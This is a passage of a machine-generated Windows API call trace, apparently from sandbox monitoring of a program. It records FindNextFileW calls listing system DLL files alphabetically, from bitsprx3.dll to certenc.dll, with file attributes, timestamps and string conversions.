lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.697] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.697] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.697] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.697] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.697] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.697] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.697] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0180.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.698] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.698] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x49c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0180.698] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x49c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0180.698] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.698] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.698] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x49c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0180.698] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.699] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.699] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.699] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.699] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0180.699] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.699] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.699] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x49c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0180.699] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.700] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, 